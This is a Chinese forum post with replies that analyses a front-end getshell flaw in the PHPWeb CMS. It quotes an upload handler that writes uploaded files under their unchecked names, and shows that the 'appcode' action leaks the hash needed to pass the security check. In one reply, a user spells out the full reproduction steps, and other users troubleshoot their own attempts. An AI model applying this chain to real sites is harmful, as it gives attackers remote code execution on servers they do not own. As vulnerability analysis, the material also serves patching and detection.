phpweb前台getshell

image
故事起源是90官方群有人愁不知道怎么拿shell所以帮忙看一下代码。其实是不太想看这套程序的因为太久远了。

phpweb前台getshell

漏洞分析

if($act=="upload"){

		$file=$_FILES["file"];
		$r_size=$_POST["r_size"];

		if ($_FILES["file"]["ERROR"] > 0){
		  echo "ERROR:".$_FILES["file"]["ERROR"];
		  exit;
		}else{
			if($_FILES["file"]["size"]!=$r_size){
				echo "ERROR:上传文件错误,文件大小和原文件不匹配";
				@write_log("app.log",date("Y-m-d H:i:s",time())." ERROR: 上传文件错误,文件大小和原文件不匹配\n",FILE_APPEND);
				exit;
			}

			//检查目录名
			$ToPath="../effect/source/bg";
			$Tofile=$ToPath."/".$_FILES["file"]["name"];
			
			
			if(!is_writable($ToPath)){
				echo "ERROR:".$ToPath." 目录不可写,请设置目录属性为可写";
				@write_log("app.log",date("Y-m-d H:i:s",time())." ERROR: ".$ToPath." 目录不可写,请设置目录属性为可写\n",FILE_APPEND);
				exit;
			}

			if(file_exists($Tofile) && !is_writable($Tofile)){
				echo "ERROR:".$Tofile." 文件不能覆盖,请设置文件属性为可写";
				@write_log("app.log",date("Y-m-d H:i:s",time())." ERROR: ".$Tofile." 文件不能覆盖,请设置文件属性为可写\n",FILE_APPEND);
				exit;
			}
			

			//复制文件
			copy($_FILES["file"]["tmp_name"],$Tofile);
			
			switch($_FILES["file"]["type"]){
			
				case "application/octet-stream":
					@chmod($Tofile,0755);
				break;

				default:
					@chmod($Tofile,0666);
				break;
			}

			echo "OK";
			@write_log("app.log",date("Y-m-d H:i:s",time())." 安装成功: ".$Tofile."\n",FILE_APPEND);
			exit;
		}


}

在这个upload功能中直接获取了FILE[name]进行路径拼接最后进行copy行为而且if也只是判断了是否与我们填入的r_size参数是否匹配以及路径是否可写等。

$k=md5(strrev($dbUser.$dbPass));
$h=$_SERVER["HTTP_REFERER"];
$t=$_POST["t"];
$m=$_POST["m"];
$act=$_POST["act"];
$path=$_POST["path"];

$md5=md5($k.$t);
if($m!=$md5){
	echo "ERROR: 安全性校验错误";
	exit;
}

但是在文件顶部有一个这么验证,通过数据库的账号和密码以及我们带入的t参数来MD5加密并且通过我们带入的M来判断是否匹配。这种情况要么知道数据库的账号和密码要么就是找找看有没其他的地方可以拿到这部分数据

case "appcode" :
		$pluslable=$_POST['pluslable'];
		$apptype=$_POST['apptype'];
		$coltype=$_POST['coltype'];
		$tempid=$_POST['tempid'];

		if($apptype=="plus"){
			$msql->query("select id from {P}_base_plusdefault where `pluslable`='$pluslable'");
			if($msql->next_record()){
				echo "1000";
				exit;
			}
			$msql->query("select id from {P}_base_coltype where `coltype`='$coltype'");
			if($msql->next_record()){
			}else{
				echo "2000";
				exit;
			}
		}

		if($apptype=="border"){
			$msql->query("select id from {P}_base_border where `tempid`='$tempid'");
			if($msql->next_record()){
				echo "1000";
				exit;
			}
		}

		$code="k=".md5(strrev($dbUser.$dbPass))."&t=".time();
		echo $code;
		exit;
	break;

然后我们在appcode这个功能可以看见这里刚好有满足需求的MD5后的内容并且进行了echo打印。我们只需要看页面是否满足访问需求

define("ROOTPATH", "../");
include(ROOTPATH."includes/common.inc.php");
include("language/".$sLan.".php");


$act = $_POST['act'];

5 个赞

有phpweb源码下载地址吗 我找了没找到

1 个赞

老哥这是怎么复现的 能不能说下

好吧,谢了老哥

act=appcode 获取 k=418b80fa56347a73b3b690bb25fd5fa8&t=1569330334
$t=1;
$md5=md5($k.$t); 获得 m 值

act=upload

post r_size , t , m , file

就可以了。

2 个赞

你这置顶都不看的么

我在网上下载的源码没有搜索到这些代码,大佬发一下源码把

phpweb系列分了很多个版本,我这个是前台的只是个别版本存在,不过如果有渠道能够拿到数据库的密码也可以直接导致其他版本getshell

谢谢老哥分享

有案例可以分享吗!

老哥这是哪个版本的?

大表哥 问下phpweb后台有办法getshell吗?

有前台了。。干嘛后台。而且后台也有很多方法的。

最新的针对phpweb的分析有提到版本

请问 复现出现内容为 ERROR: 安全性校验错误 是什么情况导致的!

你MD5应该验证失败了,正确的话应该返回的是ok

目录有的不可写就复现不了!

m=appcode 然后上传